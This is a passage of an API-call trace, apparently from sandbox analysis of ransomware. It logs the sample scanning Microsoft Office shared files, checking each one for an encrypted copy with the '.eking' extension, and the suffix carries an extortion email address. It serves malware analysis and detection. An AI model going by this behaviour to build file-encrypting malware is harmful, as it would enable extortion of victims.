"c:\\program files\\common files\\microsoft shared\\stationery\\roses.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0172.785] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0172.786] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=1920) returned 1 [0172.786] CloseHandle (hObject=0x1e8) returned 1 [0172.786] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.jpg")) returned 0x20 [0172.786] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.jpg")) returned 0x20 [0172.786] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.jpg.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.jpg.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0172.786] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0172.787] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Sand_Paper.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\sand_paper.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0172.787] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=15776) returned 1 [0172.787] CloseHandle (hObject=0x1e8) returned 1 [0172.787] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Sand_Paper.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\sand_paper.jpg")) returned 0x20 [0172.787] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Sand_Paper.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\sand_paper.jpg")) returned 0x20 [0172.787] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Sand_Paper.jpg.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\sand_paper.jpg.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0172.787] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Sand_Paper.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\sand_paper.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0172.788] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Seyes.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\seyes.emf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0172.788] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=37316) returned 1 [0172.788] CloseHandle (hObject=0x1e8) returned 1 [0172.788] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Seyes.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\seyes.emf")) returned 0x20 [0172.788] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Seyes.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\seyes.emf")) returned 0x20 [0172.788] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Seyes.emf.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\seyes.emf.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0172.789] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Seyes.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\seyes.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0172.790] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shades of Blue.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shades of blue.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0172.790] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=237) returned 1 [0172.790] CloseHandle (hObject=0x1e8) returned 1 [0172.790] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shades of Blue.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shades of blue.htm")) returned 0x20 [0172.790] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shades of Blue.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shades of blue.htm")) returned 0x20 [0172.790] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shades of Blue.htm.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shades of blue.htm.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0172.790] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shades of Blue.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shades of blue.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0172.791] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\ShadesOfBlue.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shadesofblue.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0172.998] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=4734) returned 1 [0172.998] CloseHandle (hObject=0x1e8) returned 1 [0172.998] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\ShadesOfBlue.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shadesofblue.jpg")) returned 0x20 [0172.998] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\ShadesOfBlue.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shadesofblue.jpg")) returned 0x20 [0172.999] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\ShadesOfBlue.jpg.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shadesofblue.jpg.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0172.999] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\ShadesOfBlue.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shadesofblue.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0172.999] SetEvent (hEvent=0x174) returned 1 [0172.999] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tiki.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\tiki.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0172.999] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=4638) returned 1 [0173.000] CloseHandle (hObject=0x1e8) returned 1 [0173.000] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tiki.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\tiki.gif")) returned 0x20 [0173.000] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tiki.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\tiki.gif")) returned 0x20 [0173.000] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tiki.gif.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\tiki.gif.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0173.000] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tiki.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\tiki.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0173.000] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\To_Do_List.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\to_do_list.emf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0173.001] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=26720) returned 1 [0173.001] CloseHandle (hObject=0x1e8) returned 1 [0173.001] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\To_Do_List.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\to_do_list.emf")) returned 0x20 [0173.001] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\To_Do_List.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\to_do_list.emf")) returned 0x20 [0173.001] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\To_Do_List.emf.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\to_do_list.emf.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0173.001] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\To_Do_List.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\to_do_list.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0173.001] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\White_Chocolate.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\white_chocolate.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0173.002] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=3168) returned 1 [0173.002] CloseHandle (hObject=0x1e8) returned 1 [0173.002] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\White_Chocolate.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\white_chocolate.jpg")) returned 0x20 [0173.002] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\White_Chocolate.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\white_chocolate.jpg")) returned 0x20 [0173.002] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\White_Chocolate.jpg.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\white_chocolate.jpg.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0173.002] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\White_Chocolate.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\white_chocolate.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0173.003] SetEvent (hEvent=0x174) returned 1 [0173.003] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Wrinkled_Paper.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\wrinkled_paper.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0173.003] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=15063) returned 1 [0173.003] CloseHandle (hObject=0x1e8) returned 1 [0173.003] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Wrinkled_Paper.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\wrinkled_paper.gif")) returned 0x20 [0173.003] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Wrinkled_Paper.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\wrinkled_paper.gif")) returned 0x20 [0173.003] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Wrinkled_Paper.gif.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\wrinkled_paper.gif.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0173.003] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Wrinkled_Paper.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\wrinkled_paper.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0173.004] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\MSCONV97.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\msconv97.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0173.004] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=146808) returned 1 [0173.004] CloseHandle (hObject=0x1e8) returned 1 [0173.005] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\MSCONV97.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\msconv97.dll")) returned 0x20 [0173.005] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\MSCONV97.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\msconv97.dll")) returned 0x20 [0173.005] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\MSCONV97.DLL.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\msconv97.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0173.005] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\MSCONV97.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\msconv97.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0173.006] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\RECOVR32.CNV" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\recovr32.cnv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0173.006] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=36712) returned 1 [0173.006] CloseHandle (hObject=0x1e8) returned 1 [0173.006] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\RECOVR32.CNV" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\recovr32.cnv")) returned 0x20 [0173.006] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\RECOVR32.CNV" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\recovr32.cnv")) returned 0x20 [0173.006] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\RECOVR32.CNV.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\recovr32.cnv.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0173.007] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\RECOVR32.CNV" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\recovr32.cnv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0173.007] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Wks9Pxy.cnv" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\wks9pxy.cnv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0173.008] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=57248) returned 1 [0173.008] CloseHandle (hObject=0x1e8) returned 1 [0173.008] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Wks9Pxy.cnv" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\wks9pxy.cnv")) returned 0x20 [0173.008] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Wks9Pxy.cnv" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\wks9pxy.cnv")) returned 0x20 [0173.008] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Wks9Pxy.cnv.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\wks9pxy.cnv.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0173.008] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Wks9Pxy.cnv" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\wks9pxy.cnv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0173.010] SetEvent (hEvent=0x174) returned 1 [0173.010] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT532.CNV" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\wpft532.cnv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0173.010] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=196976) returned 1 [0173.010] CloseHandle (hObject=0x1e8) returned 1 [0173.011] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT532.CNV" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\wpft532.cnv")) returned 0x20 [0173.011] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT532.CNV" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\wpft532.cnv")) returned 0x20 [0173.011] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT532.CNV.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\wpft532.cnv.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0173.011] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT532.CNV" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\wpft532.cnv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0173.011] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT632.CNV" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\wpft632.cnv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0173.011] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=289648) returned 1 [0173.012] CloseHandle (hObject=0x1e8) returned 1 [0173.012] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT632.CNV" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\wpft632.cnv")) returned 0x20 [0173.012] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT632.CNV" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\wpft632.cnv")) returned 0x20 [0173.012] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT632.CNV.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\wpft632.cnv.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0173.012] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT632.CNV" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\wpft632.cnv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0173.012] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\aftrnoon.elm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0173.015] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=58766) returned 1 [0173.015] CloseHandle (hObject=0x1e4) returned 1 [0173.015] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\aftrnoon.elm")) returned 0x20 [0173.015] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\aftrnoon.elm")) returned 0x20 [0173.016] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.ELM.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\aftrnoon.elm.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0173.016] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\aftrnoon.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0173.016] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\aftrnoon.inf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0173.016] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=555) returned 1 [0173.017] CloseHandle (hObject=0x1e4) returned 1 [0173.017] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\aftrnoon.inf")) returned 0x20 [0173.017] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\aftrnoon.inf")) returned 0x20 [0173.017] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.INF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft 